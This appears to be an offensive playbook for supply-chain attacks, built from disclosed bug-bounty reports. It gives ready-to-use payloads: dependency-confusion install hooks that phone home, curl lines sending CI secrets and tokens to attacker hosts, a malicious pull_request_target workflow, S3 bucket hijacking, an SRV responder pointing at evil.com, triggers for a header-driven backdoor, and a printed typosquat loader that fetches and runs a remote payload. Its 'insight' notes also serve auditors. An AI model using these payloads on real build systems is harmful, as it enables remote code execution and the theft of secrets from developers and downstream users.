# Dependency-confusion claimability probe (per harvested name)
pip index versions PKG 2>&1 | grep -qi "no matching" && echo "PyPI UNCLAIMED: PKG"
npm view PKG version 2>&1 | grep -qi "E404" && echo "npm UNCLAIMED: PKG"
gem list -r -e PKG 2>&1 | grep -q "^$" && echo "gem UNCLAIMED: PKG"
# tell: referenced internally but absent (or lower version) on the public registry -> claimable
Group each trusted fetch by the resolver it abuses, then use the matching primitive.
An internal package name that isn't reserved (or is out-versioned) on the public registry. pip/npm/Bundler resolve the highest version across all configured indexes, so a high-versioned public package of the same name wins over the private one. Install alone runs the hook β the package need not be required.
# setup.py β runs on `pip install PKG`; phone home ONLY, to respect scope
import socket, getpass, os, urllib.request, urllib.parse
data = {'host': socket.gethostname(), 'cwd': os.getcwd(), 'user': getpass.getuser()}
urllib.request.urlopen('https://COLLAB/?d=' + urllib.parse.urlencode(data))
# publish with a HIGH version so it beats any internal package of the same name
gem push okra-90002.0.gem # RubyGems (#1104874)
npm publish # package.json scripts.preinstall = payload (#462503, #925585)
# insecure repo URLs and unverified downloads
grep -rniE 'http://[^"'"'"' ]*(maven|repo|repository|jcenter|central)' . # pom/gradle/ivy/sbt
grep -rniE '(wget|curl)[^|]*http://' . # CI shell fetches
# tell: an http:// jar/tarball feeds the build AND there is no adjacent sha256sum / gpg --verify
# transparent MITM that injects bytecode into fetched JARs (Dilettante, #506161)
python dilettante.py # edit target repo host at line 143
mvn -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 test # injected class runs = RCE
# vulnerable workflow: privileged context, secrets in env, checks out attacker head
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker-controlled
- run: npm install && npm run build # runs attacker code with secrets
// exfil from the fork PR's package.json β build/postinstall runs on the runner
"scripts": { "build": "curl https://COLLAB/?k=$PRIVACY_CONFIG_PAT" }
# read the URL out of the install script, then probe + claim it
aws s3 ls s3://rocketchatbuild # NoSuchBucket -> claimable (#399166)
aws s3 mb s3://rocketchatbuild
aws s3 cp poc.tgz s3://rocketchatbuild/rocket.chat-develop.tgz
# the installer now curls + untars your artifact on every run
# git-diff parser confusion: smuggled Ruby lands in an auto-merged cask (#1167608)
++ "b/#{puts 'poc';b = 1;Casks = 1;iterm2 = {};iterm2.define_singleton_method(:rb) do 1 end; }" # rubocop:disable all
++ "b/" if # rubocop:disable all
++ b/Casks/iterm2.rb
# malicious SRV responder: point the gem client at an attacker source (#218088)
match(//, IN::SRV) do |transaction|
transaction.respond!(0, 0, 53, "evil.com/api.rubygems.com") # path smuggled past suffix check
end
# getcookies backdoor: stage JS bytes as headers, then trigger (#346516)
curl -i 'http://TARGET/' -H 'X-Hacker: g0000h636465i' # stage code bytes
curl -i 'http://TARGET/' -H 'X-Hacker: gfaffh636465i' # trigger header -> vm.runInThisContext
Supply-chain bugs are already the top of one chain β install/build-time RCE β but the value is in walking them outward to downstream consumers:
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 31 in this class.
Real-world example
Dependency confusion (internal npm names on public registry)
β Critical
Specimen #925585 Β· paypal Β· 30000 Β· 933 votes Β· resolved
Program paypalSurface otherTag supply-chain
Root cause
Build tooling defaulted to the public npm registry for package names that only existed internally; an attacker can register those exact names publicly and the higher version is pulled and executed during internal builds.
Method
- Enumerate internal package names (leaked package.json, source maps, error logs, .npmrc scopes)
- Publish a same-named package to the public registry with a higher semver and a preinstall/postinstall script that beacons out
- Wait for internal CI/dev machines to resolve and install the public package
- Confirm code execution via DNS/HTTP callback from inside the corp network
// package.json of the malicious public package
{
"name": "<internal-pkg-name>",
"version": "99.99.99",
"scripts": { "preinstall": "node beacon.js" }
}
// beacon.js: exfil hostname/whoami/dns to attacker collab
Insight β Any ecosystem mixing private and public registries (npm scopes, PyPI, RubyGems, Maven) is exploitable when internal names are not reserved publicly and no scope/registry pinning is enforced. Harvest dependency names from leaked manifests and claim them.
Real-world example
Dependency confusion: internal pip package name claimed on public PyPI
β Critical
Specimen #946409 Β· yelp Β· awarded Β· 366 votes Β· resolved
Program yelpSurface otherChain Public-registry name squat -> build-time setup.py executiTag supply-chain
Root cause
A package that should resolve from an internal/private registry gets resolved from the public registry when the same name is unclaimed there (or a higher version is published publicly). Installing it runs attacker-controlled setup.py at build time.
Method
- Harvest internal package names referenced by the target (leaked requirements.txt/package.json, error messages, JS bundles, public repos, CI configs).
- Check whether each name is unclaimed on the public registry (PyPI/npm/RubyGems).
- Register the unclaimed name on the public registry with a benign setup.py/preinstall that only phones home (IP, hostname, cwd) to prove execution -- no further action, to respect scope.
- Wait for a misconfigured build/CI job to install it from public instead of internal; the callback confirms RCE context.
- Report the callback host/IP/path as proof (here: Jenkins + TravisCI build servers).
# setup.py in the malicious package (PoC callback only)
import socket, getpass, os, urllib.request
data = {
'hostname': socket.gethostname(),
'cwd': os.getcwd(),
'user': getpass.getuser(),
}
urllib.request.urlopen('https://COLLAB/?d=' + urllib.parse.urlencode(data))
# packaged so setup.py runs on `pip install yelp-cgeom`
Insight β Any private/internal package name your target uses is an RCE primitive if that name is unclaimed (or beatable by version) on the public registry. Enumerate internal package names first, then squat the unclaimed ones with a proof-only phone-home. Two Yelp packages fired (yelp-cgeom, clusterman_metrics), including a name leaked in a public repo -> assume public repos also expose internal names.
Real-world example
GitHub Actions pull_request_target RCE + PAT exfiltration (fork checkout with secrets)
β Critical
Specimen #3619288 Β· duckduckgo Β· none Β· 61 votes Β· resolved
Program duckduckgoSurface cloudChain pull_request_target -> runner RCE -> PAT theft -> mTag supply-chain
Root cause
auto-respond-pr.yml runs on pull_request_target (privileged, has secrets) and checks out the fork's head repo (repository: github.event.pull_request.head.repo.full_name) as BOTH base and PR, then runs npm ci + node index.js on attacker code with PRIVACY_CONFIG_PAT in env -> arbitrary code execution and secret exfiltration.
Method
- Find workflows triggered by pull_request_target that also check out PR/fork code
- Open a fork PR whose head contains malicious build/postinstall or index.js
- Workflow executes attacker code in privileged context; read/exfil secrets ($PRIVACY_CONFIG_PAT, ASANA_ACCESS_TOKEN, GH_RO_PAT) from env
- Use the stolen repo-scoped PAT to auto-approve/merge a malicious PR -> supply-chain compromise of downstream products
# in fork PR (executed by npm ci / node index.js on the runner)
curl https://attacker/$(echo $PRIVACY_CONFIG_PAT)
# root cause line:
# repository: ${{ github.event.pull_request.head.repo.full_name }}
Insight β Audit .github/workflows for pull_request_target combined with any checkout of PR/fork code or execution of fork scripts (npm ci, make, node index.js). That pattern = untrusted-code RCE with repo secrets. Floating main-branch dependencies turn a stolen PAT into a direct supply-chain push to all consumers.
Real-world example
Git-diff parser confusion -> Ruby injection into official taps
β Critical
Specimen #1167608 Β· homebrew Β· none Β· 49 votes Β· resolved
Program homebrewSurface webChain Diff-parser confusion -> auto-merge -> Ruby eval on ev
Root cause
Homebrew's review-cask-pr auto-merge used a modified git_diff gem to decide a PR was 'simple'; a crafted diff exploited a parser bug that treats added lines as an a_path, hiding malicious additions so BrewTestBot auto-approved Ruby code injected into official Casks (RCE on installers).
Method
- Fork Homebrew/homebrew-cask
- Craft a cask diff that abuses the git_diff a_path parsing bug to smuggle extra Ruby lines
- Open a PR; add rubocop:disable so CI passes
- BrewTestBot auto-approves/merges; injected Ruby runs on cask install
++ "b/#{puts 'poc';b = 1;Casks = 1;iterm2 = {};iterm2.define_singleton_method(:rb) do 1 end; }" # rubocop:disable all
++ "b/" if # rubocop:disable all
++ b/Casks/iterm2.rb
Insight β Automation that parses diffs/patches to gate trust is a supply-chain sink: if the parser disagrees with git about what changed, you smuggle code past review. Also satisfy downstream gates (here Rubocop via '# rubocop:disable all') so auto-merge proceeds.
Real-world example
pull_request_target CI supply-chain RCE
β Critical
Specimen #3619287 Β· duckduckgo Β· none Β· 39 votes Β· resolved
Program duckduckgoSurface otherChain RCE on runner -> secret/token exfil -> GITHUB_TOKEN abTag supply-chain
Root cause
A GitHub Actions workflow triggered by pull_request_target runs in the base-repo context with secrets, but checks out and executes attacker-controlled fork PR code (npm install + npm run build) with zero access controls.
Method
- Find a workflow using `on: pull_request_target` that checks out `github.event.pull_request.head` and runs build/install scripts
- Open a fork PR whose package.json build/postinstall runs attacker code
- Exfiltrate secrets present in env (e.g. ANTHROPIC_API_KEY, DAX_PAT) and abuse GITHUB_TOKEN (pull-requests:write)
- Chain: use token to add semver labels -> trigger automated release pipeline -> publish poisoned release consumed by all downstream browsers/extensions
# .github/workflows/semver-label.yml (vulnerable pattern)
on:
pull_request_target:
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker-controlled
- run: npm install && npm run build # runs attacker code with secrets in env
# exfil in fork PR package.json:
"scripts": { "build": "curl https://COLLAB/?k=$ANTHROPIC_API_KEY" }
Insight β Any repo using pull_request_target that checks out and executes PR HEAD code is RCE-on-runner + secret theft; if that repo feeds an automated release pipeline it becomes full supply-chain compromise. Grep org workflows for `pull_request_target` + `checkout` of head ref.
Real-world example
Backdoored npm package executes code from HTTP headers (getcookies)
β Critical
Specimen #346516 Β· nodejs-ecosystem Β· none Β· 8 votes Β· resolved
Program nodejs-ecosystemSurface apiChain transitive dependency -> header-driven code buffer ->
Root cause
The getcookies package (pulled in transitively via express-cookies) hides a backdoor in test/harness.js that reassembles a payload from crafted request headers into a buffer and runs it with vm.runInThisContext, giving remote code execution to anyone who knows the trigger protocol.
Method
- App uses express-cookies (-> getcookies)
- Send bytes of JS as custom headers using the g<pos>h<hexbytes>i protocol
- Send the trigger header (position 0xfffa) to run the assembled code via vm.runInThisContext
# stage code bytes:
curl -i 'http://TARGET/' -H 'X-Hacker: g0000h636465i'
# trigger execution:
curl -i 'http://TARGET/' -H 'X-Hacker: gfaffh636465i'
Insight β Audit transitive deps for obfuscated behavior: require('\x76\x6d') (=vm), runInThisContext/eval fed from req.headers, hidden magic-byte protocols. A 'cookie parser' that opens a network-controlled code buffer is a planted backdoor, not a bug.
Real-world example
Malicious typosquat gem with install-time native extension backdoor
β Critical
Specimen #392311 Β· rubygems Β· none Β· 8 votes Β· resolved
Program rubygemsSurface otherChain typosquat install -> extconf.rb C2 fetch -> drop+chmodTag supply-chain
Root cause
A gem named to mimic 'activesupport' (as 'active-support') duplicates the real code but adds a compiled extension whose extconf.rb runs at install time: it base64-decodes a C2 hostname, resolves it, downloads a payload to /tmp, chmods 0777 and system()-executes it. CVE-2018-3779.
Method
- Attacker publishes a look-alike/typosquat package that shadows a popular name
- Package ships a native extension; gem install runs extconf.rb automatically
- Install hook fetches and executes a remote payload
# active-support-5.2.0.gem .../extconf.rb (attacker code, runs on `gem install`):
milligram = 'MjlmYWVhNjMucGxhbmZobnRhZ2UuZGU=' # base64 -> 29faea63.planfhntage.de
jaunting = Resolv.getaddress(Base64.decode64(milligram))
educable = Net::HTTP.get_response(URI('http://'+jaunting+'/mimming'))
File.open('/tmp/autosymbiontic','wb+'){|f| f.write(educable.body); f.chmod(0777)}
system('/tmp/autosymbiontic')
Insight β Package install hooks (Ruby extconf.rb, npm preinstall/postinstall, Python setup.py) run arbitrary code at install time β treat them as an execution boundary. Red flags in a dependency: base64/obfuscated hostnames, Net::HTTP/urllib downloads, writes to /tmp with 0777, system()/exec() in build scripts. Audit new/typosquatted transitive deps for these.
Real-world example
yarn.lock cache poisoning via broken integrity/hash gating
β Critical
Specimen #703138 Β· nodejs-ecosystem Β· none Β· 6 votes Β· resolved
Program nodejs-ecosystemSurface otherChain lockfile poisoning -> local cache poisoning -> arbitraTag supply-chainTag file-upload
Root cause
yarn validates integrity only when writing to cache and keys the cache by name+version+sha1 (checked on read); integrity is ignored on read. A crafted yarn.lock with a correct integrity but a target package's name/version/sha1 stores an unrelated tarball under the target's identity, so future installs get the attacker payload (CVE-2019-15608).
Method
- Install a payload package to obtain its resolved URL + integrity line.
- Edit yarn.lock: keep the payload's integrity, but relabel name/version and set the sha1 (#hash in resolved) to those of the TARGET package.
- Run yarn -> payload tarball is cached under target@version; integrity mismatch is ignored on cache read.
- Any later install of target@version resolves to the payload, running its postinstall (even bypassing --ignore-scripts on the original).
express@4.11.1:
version "4.11.1"
resolved "https://registry.yarnpkg.com/ponyhooves/-/ponyhooves-1.0.1.tgz#<express-sha1>"
integrity sha1-5XycPpdtVw+X8ik1bKXW7hPv01g= # integrity of ponyhooves, not express
Insight β When auditing package managers/artifact caches, check WHERE integrity is enforced: validating on write but keying reads on a weaker hash means the strong check never protects installs. Look for integrity-checked-but-not-enforced patterns and cache keys that omit the strong digest.
Real-world example
CI build-cache poisoning via reusable artifact upload URL (NX Cloud)
β Critical
Specimen #2255750 Β· mozilla Β· USD 8000 Β· 57 votes Β· resolved
Program mozillaSurface cloudChain cache upload URL leak -> artifact overwrite -> CI RCE Tag cloud-aws
Root cause
A remote build-cache service (NX Cloud) issued an upload URL that could write the same cache artifact more than once. An attacker who can obtain that URL re-uploads a modified (trojaned) cache artifact; subsequent CI runs consume the poisoned cache, yielding RCE in CI and exfil of environment secrets.
Method
- Obtain the cache upload URL/token used by the target's CI (public repo config leaked it here)
- Re-upload a modified cache artifact containing malicious build steps
- When CI restores the poisoned cache it executes attacker code and env vars are exfiltrated
Insight β Remote build caches (NX, Turborepo, Bazel remote cache, sccache) are a supply-chain sink: check whether upload URLs are single-use and whether artifacts are integrity-verified. Reusable/unauthenticated cache writes -> poison the cache -> RCE in every downstream build.
Real-world example
npm maintainer ownership-transfer -> malicious transitive dependency (event-stream / flatmap-stream)
β Critical
Specimen #450006 Β· nodejs-ecosystem Β· none Β· 13 votes Β· resolved
Program nodejs-ecosystemSurface otherChain Social-engineered maintainer takeover -> malicious transiTag supply-chain
Root cause
An abandoned but very popular package (event-stream, ~2M downloads/week) had its publish rights handed to a volunteer who then added a new dependency (flatmap-stream) containing obfuscated malicious code. Every downstream project pulling event-stream silently pulled the malicious transitive dep.
Method
- Identify popular but unmaintained packages whose maintainers may cede control to a first-time volunteer.
- Gain publish rights via social engineering (offer to maintain), then publish a new version adding a fresh, low-profile dependency.
- Hide payload in the new dependency (flatmap-stream) and target a specific downstream victim (here: the Copay bitcoin wallet, to steal keys) so the code stays dormant elsewhere.
- Distribution rides the popular parent package's install base.
Insight β Trust in a dependency extends to its entire maintainer set and full transitive tree. Audit for (a) maintainer/ownership changes on critical deps, (b) newly added dependencies in a dep you already trusted, and (c) obfuscated/minified code in package tarballs that differs from the git source. Pin/lock and review diffs of transitive deps, not just direct ones.
Real-world example
Dependency confusion: register an internal gem name on public RubyGems
β High
Specimen #1104874 Β· basecamp Β· USD 5000 Β· 102 votes Β· resolved
Program basecampSurface otherChain internal name discovery -> public package registration -&Tag supply-chain
Root cause
An internal Ruby gem ('okra') was never registered on public RubyGems. If a Gemfile pulls from global sources, or Bundler < 2.2.10 resolves a transitive internal dep, a higher-versioned public gem of the same name is fetched and its install hooks run - RCE on build/dev machines.
Method
- Enumerate an org's internal package names (from public repos, error messages, lockfiles, JS bundles).
- Publish a public gem/npm/pypi package with the same name and a very high version number, with a callback in the install/gemspec hook.
- Wait for a developer or CI to resolve/install it from the public registry.
# gem published as okra-90002.0 on rubygems.org with a callback in its build
# merely installing (gem install / bundle install resolving it) executes gem hooks -> RCE
Insight β Harvest internal package names and check whether they exist on the public registry; if not, claim them with a high version to catch misconfigured source priorities. Works across gem/npm/pypi. Note: install alone triggers execution - the package need not be required. Fix: pin internal sources / use Bundler >= 2.2.10 source scoping.
Real-world example
Claim unclaimed S3 bucket referenced by public CI script
β High
Specimen #1285598 Β· reddit Β· awarded Β· 96 votes Β· resolved
Program redditSurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
A public build script referenced an S3 bucket (obs-nightly) that was no longer owned; anyone could create that bucket name and serve trojaned dependency files that the build pulls and executes.
Method
- Grep the org's public repos/CI for hardcoded bucket/host URLs
- Find one that 404s / is unclaimed (obs-nightly.s3-us-west-2.amazonaws.com)
- Create the bucket, upload files matching the referenced paths, enable static hosting
- Any run of the script fetches attacker-controlled binaries
aws s3 mb s3://obs-nightly --region us-west-2 # then upload cef_binary_${1}_macosx64.tar.bz2
Insight β Dangling cloud resources in source/CI are supply-chain gold: grep public repos for S3/GCS bucket names, package registries, and download hosts, then claim any that are unowned to inject code into builds/installs.
Real-world example
Build dependencies fetched over http without integrity check
β High
Specimen #1039504 Β· ibb Β· 100 Β· 20 votes Β· resolved
Program ibbSurface otherChain MITM on build fetch -> malicious dependency -> comprom
Root cause
CI build scripts (.travis/build-deps.sh) download dependencies (tap-windows.zip, lzo.tar.gz) over plain http with no checksum or signature verification, so a network MITM can inject malicious code into build artifacts.
Method
- Read the project's CI config and build scripts
- Grep for http:// downloads via wget/curl feeding the build
- Confirm no sha256/gpg verification of the fetched artifact
- MITM on the build network path replaces the artifact -> supply-chain compromise
wget -P download-cache/ "http://build.openvpn.net/downloads/releases/tap-windows-${VER}.zip"
wget -P download-cache/ "http://www.oberhumer.com/opensource/lzo/download/lzo-${VER}.tar.gz"
# no checksum/signature verification afterwards
Insight β Grep CI/build scripts (.travis.yml, Dockerfiles, Makefiles) for http:// downloads and for the absence of sha256sum/gpg --verify. Insecurely fetched build inputs are a classic supply-chain MITM foothold, even when the domains support https.
Real-world example
RubyGems SRV DNS hijack -> attacker gem source -> install-time RCE
β High
Specimen #218088 Β· rubygems Β· awarded Β· 10 votes Β· resolved
Program rubygemsSurface otherChain DNS SRV poison -> attacker gem server -> gem extension
Root cause
The gem client discovers the API server via a _rubygems._tcp SRV record and insufficiently validates the target; a MiTM can point it to an attacker host, so a trojaned gem's extensions API runs code at install time.
Method
- MiTM the victim's DNS
- Answer the SRV query for _rubygems._tcp.<source> with 0 0 53 evil.com/api.rubygems.com
- Serve a trojaned gem whose native extension executes on gem install -> RCE
# malicious SRV responder (RubyDNS)
match(//, IN::SRV) do |transaction|
transaction.respond!(0,0,53,"evil.com/api.rubygems.com")
end
# fix idea: reject targets containing '/'
if (/\.#{Regexp.quote(host)}\z/ =~ target) && !target.include?("/")
Insight β Any client that does service discovery over unauthenticated DNS SRV/TXT and then fetches code/packages is a supply-chain MiTM target; check that the returned target is validated against the trusted host and doesn't smuggle a path.
Real-world example
Cargo ignores umask on crate extraction -> world-writable cached source
β High
Specimen #2094785 Β· ibb Β· USD 4660 Β· 7 votes Β· resolved
Program ibbSurface otherChain world-writable cached source -> local user tampers ->
Root cause
Cargo unpacked crate archives preserving the archive's stored file permissions instead of applying the process umask. A crate whose files are marked globally writable stays world-writable in the registry cache, so any local user can modify the cached source that the victim later compiles and runs (CVE-2023-38497).
Method
- Publish/obtain a crate whose archived files carry mode 0777/o+w
- Victim builds a project depending on it; Cargo extracts once into ~/.cargo/registry/src with permissions intact
- A second local user overwrites the cached .rs files; next build compiles & runs attacker code as the victim
# discovery of world-writable files (also the researcher's routine check):
find / ! -type l -perm -002 -exec ls -alhd {} \;
# crate ships files with mode 0777 -> extracted as-is under ~/.cargo/registry/src
Insight β Any archive extractor (unzip/tar/package manager) that trusts stored permissions instead of applying umask yields world-writable outputs. Test with `find <cache> -perm -002`. Writable build inputs = local privesc / supply-chain code execution against everyone who compiles them.
Real-world example
CircleCI secret exfiltration via forked-PR builds
β High
Specimen #794407 Β· nextcloud Β· none Β· 6 votes Β· resolved
Program nextcloudSurface cloudChain Forked PR CI run -> leaked GH_AUTH_TOKEN -> potential Tag cloud-awsTag supply-chain
Root cause
A CircleCI project with both 'Build forked pull requests' and 'Pass secrets to builds from forked pull requests' enabled lets any external forker run arbitrary CI steps with access to the project's stored secrets, exfiltrating environment variables/tokens.
Method
- Fork the target's public repo
- Edit .circleci/config.yml in the fork to add a step that exfiltrates the environment
- Open a PR back to the upstream repo - CI runs the malicious step with the project's secrets
- Collect the leaked secrets (e.g. GH_AUTH_TOKEN) at your endpoint
# add to a build step in .circleci/config.yml on the fork:
- run: curl https://COLLAB/?env=$(env | base64 | tr -d '\n')
# then send the fork branch as a PR to the upstream project
Insight β CI/CD misconfiguration is a supply-chain goldmine: check whether a project builds forked PRs AND passes secrets to them. If so, a single malicious PR leaks deploy keys/tokens. Also inspect public build logs' 'Preparing Environment Variables' for used secret names.
Real-world example
Insecure HTTP update channel -> tampered download URL -> RCE (CVE-2021-40099)
β High
Specimen #982130 Β· concretecms Β· none Β· 6 votes Β· resolved
Program concretecmsSurface webChain HTTP manifest MITM -> attacker direct_download_url -> Tag supply-chainTag file-upload
Root cause
concrete5 fetches its update manifest JSON over HTTP; the manifest's direct_download_url dictates what package is downloaded and unzipped into the web root. A MITM (or an admin-set outbound proxy) rewrites the manifest to point at an attacker zip, achieving RCE. The unzip target dir is named via time(), but the same time() seeds ccm_token, so the folder name is predictable.
Method
- MITM the HTTP update-check request (or, with admin, set an arbitrary outbound proxy).
- Rewrite the version field to force a fresh manifest, and set direct_download_url to an attacker-hosted zip containing a webshell (e.g. poc.php).
- Trigger the update; app downloads, unzips into updates/<time()> under web root.
- Recover the dir name: fetch any page returning ccm_token (generated from the same time()); brute a few nearby time values to hit the folder and execute the shell.
{"version":"8.6","notes":"RCE","notes_url":"https://documentation.concrete5.org/...","identifier":"8.6","date":"2017-08-02","direct_download_url":"http://ATTACKER:8000/test.zip"}
Insight β Any auto-update/plugin/theme mechanism that fetches a manifest over HTTP and honors a server-supplied download URL is an RCE sink under MITM. Also hunt for predictable temp/dir names seeded by time()/rand() that leak through another endpoint (here ccm_token) to locate dropped files.
Real-world example
Over-privileged public API key controls firmware builds
β High
Specimen #179986 Β· ui Β· awarded Β· 20 votes Β· resolved
Program uiSurface apiTag supply-chain
Root cause
A publicly exposed API token was mistakenly granted full-access permissions to the API controlling nightly firmware builds, allowing creation and overwrite of firmware images.
Method
- Discover a leaked API token (JS, repo, config)
- Test its scope against sensitive APIs
- Find it permits create/overwrite of nightly firmware builds
Insight β When you find an exposed key, always probe its actual privilege level rather than assuming it is read-only; a build/CI/firmware token with write access is a supply-chain compromise (attackers push trojaned firmware to all downstream devices).
Real-world example
MITM of build dependencies fetched over HTTP (Maven/Gradle) -> RCE
β Medium
Specimen #506161 Β· portswigger Β· USD 1000 Β· 134 votes Β· resolved
Program portswiggerSurface otherChain HTTP dependency fetch -> in-flight jar tamper -> code Tag supply-chainTag file-upload
Root cause
Build files (pom.xml/build.gradle) declare repositories with http:// URLs and pull jars with no integrity/signature check. A network MITM can rewrite the jar in flight; the jar's code executes during the build (unit/integration tests, plugins) yielding RCE on dev/CI machines and poisoned release artifacts.
Method
- Grep the target's build files for insecure repo URLs: `grep -rniE 'http://[^"'"'"' ]*(maven|repo|repository|jcenter|central)' .` (pom.xml <repository>/<pluginRepository>, build.gradle maven { url 'http://...' }, ivy/sbt resolvers).
- Position as MITM on the build's egress (public wifi, ISP injection, ARP spoof, rogue proxy).
- Point Dilettante at the target repo host to transparently rewrite fetched .jar bytecode in flight.
- Proxy the build's HTTP traffic through Dilettante and run the build/tests; injected class runs = RCE (PoC shows a cat image).
# clone github.com/mveytsman/dilettante, edit dilettante.py:143 to target the build's repo host
python dilettante.py # transparent MITM proxy that injects code into fetched JARs
# then run build with HTTP proxy pointed at Dilettante, e.g.
mvn -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 test
Insight β Any repository declared with http:// (not just central) is a supply-chain RCE sink because jars execute at build time with no checksum/signature gate. Always audit pom.xml/build.gradle/settings.xml/ivy/sbt resolvers for http:// and for missing checksum enforcement; insecure upload URLs additionally leak deploy credentials in plaintext.
Real-world example
RCE via hijacking an unclaimed S3 bucket referenced by an install script
β Medium
Specimen #399166 Β· rocket_chat Β· none Β· 35 votes Β· resolved
Program rocket_chatSurface cloudChain dangling S3 bucket -> attacker-controlled artifact -> Tag cloud-awsTag subdomain-takeover
Root cause
The project's install.sh curls a build artifact from a hardcoded S3 bucket that was never created/claimed. Anyone can register that bucket name and serve a malicious tarball, which the script downloads and executes on every user's machine.
Method
- Read install/build scripts for hardcoded remote URLs (S3 buckets, GitHub releases, package hosts)
- Check whether the bucket exists: aws s3 ls s3://BUCKET (NoSuchBucket = claimable)
- Create the bucket and host a benign PoC file at the exact path the script fetches
- Show the script now pulls and runs attacker content
aws s3 ls s3://rocketchatbuild
# -> NoSuchBucket -> create it and host rocket.chat-develop.tgz
curl -fSL "https://s3.amazonaws.com/rocketchatbuild/rocket.chat-develop.tgz" -o rocket.chat.tgz && tar zxf rocket.chat.tgz
Insight β Grep install/build/CI scripts (install.sh, Dockerfile, Makefile, CI yaml) for fetches from S3 buckets, GCS, or package names, then test each host for claimability (dangling S3 bucket, unregistered npm/pypi name). A dangling bucket in a run-as-root installer is broad RCE - same class as subdomain takeover but for artifact hosts.
Real-world example
Gem signature forgery via verify-vs-install tar parser differential
β Medium
Specimen #275269 Β· rubygems Β· 1000 Β· 16 votes Β· resolved
Program rubygemsSurface other
Root cause
gem's extract_files reads the FIRST data.tar.gz tar entry while verify reads the LAST. A tar may contain duplicate-named entries, so an attacker prepends a malicious data.tar.gz (installed) while the genuine signed data.tar.gz (verified) is honored - passing even -P HighSecurity.
Method
- Take a genuine signed gem
- Prepend a second data.tar.gz entry with malicious contents (duplicate name)
- verify honors the last (genuine, signed) entry; extract_files installs the first (malicious) entry
- gem install -P HighSecurity succeeds and installs the forged payload
# tar with duplicate entries; forge-gem.sh technique
tar tvf forged.gem # two data.tar.gz entries: [malicious first] ... [genuine+sig last]
Insight β A general signature-bypass class: whenever the code path that VERIFIES a signature and the path that USES the content parse the container differently (which duplicate entry wins?), forgery is possible. Test formats allowing duplicate names - tar, zip, multipart, JSON - for verify/consume disagreement.
Real-world example
Broken release integrity: published checksum is the empty-string hash
β Medium
Specimen #1130416 Β· kubernetes Β· awarded Β· 11 votes Β· resolved
Program kubernetesSurface other
Root cause
Published SHA512 checksums for most Kubernetes release tarballs were wrong and identical across releases - the constant cf83e1357...da3e, which is SHA512 of empty input - so artifact integrity could not be verified and tampering would go undetected.
Method
- Download a release artifact and its published checksum
- Compute the real hash (sha512sum / openssl dgst -sha512)
- Notice the published value is the empty-string hash constant and identical across versions
# SHA512 of empty input (a red flag if it appears as a published checksum):
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
Insight β Learn the hash-of-empty-string constants (SHA512 cf83e1357..., SHA256 e3b0c442...); seeing them in a checksum/signature field signals a broken integrity pipeline hashing nothing. Always verify published checksums actually match the artifact, not merely that a checksum is present.
Real-world example
CI/CD token disclosure in public build logs (Travis CI)
β Medium
Specimen #212067 Β· algolia Β· $100 Β· 10 votes Β· resolved
Program algoliaSurface otherTag supply-chain
Root cause
A CI deploy step (gh-pages push) echoes the authenticated git remote URL to stdout, embedding the bot account's GitHub token in the public Travis CI job log; the token carries public_repo scope granting commit access.
Method
- Enumerate the target's public CI (Travis/CircleCI/GitHub Actions) build logs
- Grep logs for tokens in echoed git URLs / gh-pages deploy output (https://<token>@github.com/...)
- Validate scope: GET https://api.github.com/user and /user/repos with the token
curl -H 'Authorization: token GHP_LEAKED' https://api.github.com/user
curl -H 'Authorization: token GHP_LEAKED' https://api.github.com/user/repos
Insight β Public CI job logs are a prime secret source: deploy scripts that print the authenticated remote (push to https://TOKEN@github.com) leak creds on every build. Check historical builds too - the leak recurs until the pipeline is fixed and the token rotated.
Real-world example
Install script fetches root-run binaries over HTTP w/o verification
β Medium
Specimen #186352 Β· phabricator Β· USD 300 Β· 8 votes Β· resolved
Program phabricatorSurface otherChain MITM -> tampered binary -> RCE as root during install
Root cause
Official installation scripts download components (go-pear.phar, epel-release rpm) over plain http:// and execute/install them with sudo, with no checksum or GPG verification. An on-path (MITM) attacker or compromised mirror gains root code execution.
Method
- Audit install/setup scripts for http:// (not https) download URLs
- Flag any that pipe/exec/install the artifact with sudo/root and lack sha256 or GPG check
- MITM the fetch (ARP/DNS/rogue mirror) and swap the payload -> code runs as root
# from install_rhel-derivs.sh
wget http://pear.php.net/go-pear.phar
$SUDO php go-pear.phar && $SUDO pecl install apc
$SUDO rpm -Uvh http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
Insight β grep install/bootstrap/Dockerfile/CI scripts for 'http://' + 'sudo|curl|wget|rpm|pip|npm'. Unverified root-privileged HTTP fetches are a reliable MITM/supply-chain RCE primitive.
Real-world example
ASAR integrity bypass via filetype/directory confusion
β Medium
Specimen #2271095 Β· ibb Β· USD 2540 Β· 49 votes Β· resolved
Program ibbSurface desktop
Root cause
Electron's embeddedAsarIntegrityValidation validated an app.asar file, but a maliciously crafted DIRECTORY mirroring the ASAR structure was loaded as if it were the validated archive (filetype confusion), letting unvalidated code run (CVE-2023-44402, macOS).
Method
- Target an Electron app on macOS with embeddedAsarIntegrityValidation + onlyLoadAppFromAsar fuses
- Gain write access to the .app bundle (the fuses' threat model)
- Replace app.asar with a directory named app.asar mirroring the structure
- Electron loads the directory as app, skipping integrity validation
Insight β Integrity checks keyed on a single file/path can be bypassed if the loader also accepts a same-named directory (or symlink). When auditing 'signed/validated blob' loaders, test path/type confusion: directory vs file, symlink, case-insensitive FS collisions.
Real-world example
WordPress plugin dependency-confusion via unclaimed SVN slug
β Low
Specimen #1364851 Β· trafficfactory Β· 200 Β· 70 votes Β· resolved
Program trafficfactorySurface webChain site compromise -> backdoor/RCE via plugin updateTag supply-chain
Root cause
An internally developed WP plugin whose slug is not registered in the public plugin directory can be published there by an attacker; the site's auto-update then pulls the attacker's backdoored version.
Method
- Passively fingerprint installed plugins from front-end JS/CSS asset paths (/wp-content/plugins/<slug>/)
- Check plugins.svn.wordpress.org/<slug> - if 404, the slug is unclaimed
